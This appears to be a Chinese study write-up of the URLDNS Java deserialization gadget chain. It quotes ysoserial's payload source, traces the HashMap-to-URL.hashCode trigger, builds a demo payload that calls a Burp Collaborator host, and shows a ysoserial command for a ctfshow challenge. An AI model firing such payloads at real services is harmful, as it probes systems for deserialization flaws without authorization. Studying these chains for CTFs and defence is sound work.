前言
年轻人的第一条java反序列化链子
参考:
https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6
https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
https://blog.csdn.net/rfrder/article/details/119678492
URLDNS
条件
这条利用链不能进行命令执行,只可以发送一次DNS请求,但它完全使用Java内置的类构造,对第三方库没有依赖,此外在目标没有回显的时候(java题里很常见),能够通过DNS请求得知是否存在反序列化漏洞
ysoserial poc
直接看URLDNS.java的主体部分
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;
        }
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}在这个URLDNS类中,ysoserial会调用这个类的getObject方法来获得payload,这个方法最后返回一个对象,即被序列化的对象,在这里是HashMap ht
接下来我们分析一下这段poc,
第一部分:首先从URL的创建开始
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.- 先是用URLStreamHandler创建了一个句柄,这个句柄可以打开一个指定的url(URLStreamHandler 是一个抽象类,这里 ysoserial 写了一个 SilentURLStreamHandler 类继承 URLStreamHandler ,重写了 getHostAddress 方法,而我们的目标就是最终调用 URLStreamHandler 中的 getHostAddress 方法,于是这里要防止在 put 的时候就触发请求)
- 创建一个哈希表HashMap,调用 put 方法将 URL 对象 u 作为key存入到了哈希表中
第二部分:
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
    PayloadRunner.run(URLDNS.class, args);
}- 这里利用反射将 URL 对象 u 的 hashCode 设置成了-1,为什么要这么做我们一会在分析具体的触发过程时会提到
- 最后返回了HashMap对象ht,并用PayloadRunner运行该利用链
那么URLDNS链的重点就在这个HashMap类上
跟踪HashMap类
我们知道调用链需要满足重写readObject方法,由此进行反序列化
因此我们f12查看java.util.HashMap的源码定义,找到其中的readObject方法
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }可以看到这里重写了readObject方法,具体原因如下:
HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的
在readObject方法的最后,可以看到putVal里面将HashMap的键名计算了hash

hash函数
继续跟踪hash方法

在hash方法中调用了key.hashCode方法,而Object key我们可控,也就是我们可以调用可控类中的 hashCode 方法
我们知道在 URLDNS.java 中是把URL对象u传入了key中,即调用 hashCode 的时候调用的是 java.net.URL.hashCode
所以我们直接f12去找java.net.URL的hashCode方法

只要传入URL的实例对象,那么就会触发URL.hashCode,并且这里有个判断,假如 hashCode 不为 -1 则直接return hashCode,反之就进入我们的目的函数handler.hashCode(),这就是我们前面提到要将 hashCode 的值设置为-1的原因
当我们new一个URL对象后,就进入了目标函数
f12跟进这个函数

可以发现getHostAddress(u)函数,根据函数名也知道这是获取主机地址的函数,在网络上也就是一次dns查询
也就是说,假如存在反序列化漏洞,那么我可以传入我们VPS的地址,并开启一个监听,这样就可以校验是否存在Java反序列化漏洞
关于put
在上面的分析中,漏洞的入口在HashMap的hash()方法,我们通过重写的 readObject 调用
putVal(hash(key), key, value, false, false);但是翻一下 HashMap 的源码可以发现里面最常用的 put 方法就有:

也就是说抛开反序列化的话,只要用一次 put 就会触发一次 URLDNS

那么为了不让 put 时就触发 URLDNS,ysoserial重写了URLStreamHandler.getHostAddress()
我们也重写测试一下,指定 handler 为我们重写的 TestURLStreamHandler
public class Main {
    public static void main(String[] args) throws IOException {
        HashMap ht=new HashMap();
        String url = "http://dyfuyho1stuv3ad58l1kmctia9g14rsg.oastify.com";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);
    }
}
class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}这样就不会再因为ht.put触发URLDNS了
Gadget
思维导图 by huamang

主要的目标是调用 URLStreamHandler->getHostAddress(u)
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress.getByName()
demo
仿照ysoserial写一个urldns链序列化与反序列化的demo
Main.java
package com.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class Main {
    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap ht=new HashMap();
        String url = "http://dyfuyho1stuv3ad58l1kmctia9g14rsg.oastify.com";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);
        Serialize(ht);
    }
}
class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}ois.java
package com.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;
public class ois {
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;
    }
    public static <serialize> void main(String[] args) throws IOException, ClassNotFoundException {
        serialize unser =(serialize)unserialize("1.bin");
        System.out.println(unser);
    }
}利用burp的collaboration功能起一个域名监听

实战
ctfshow web846
ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag 在linux下执行命令
java -jar ysoserial-all.jar URLDNS http://7845016f-8187-4375-92c3-90e82fe40990.challenge.ctf.show|base64然后把得到的base64字符串用burpsuite传入即可
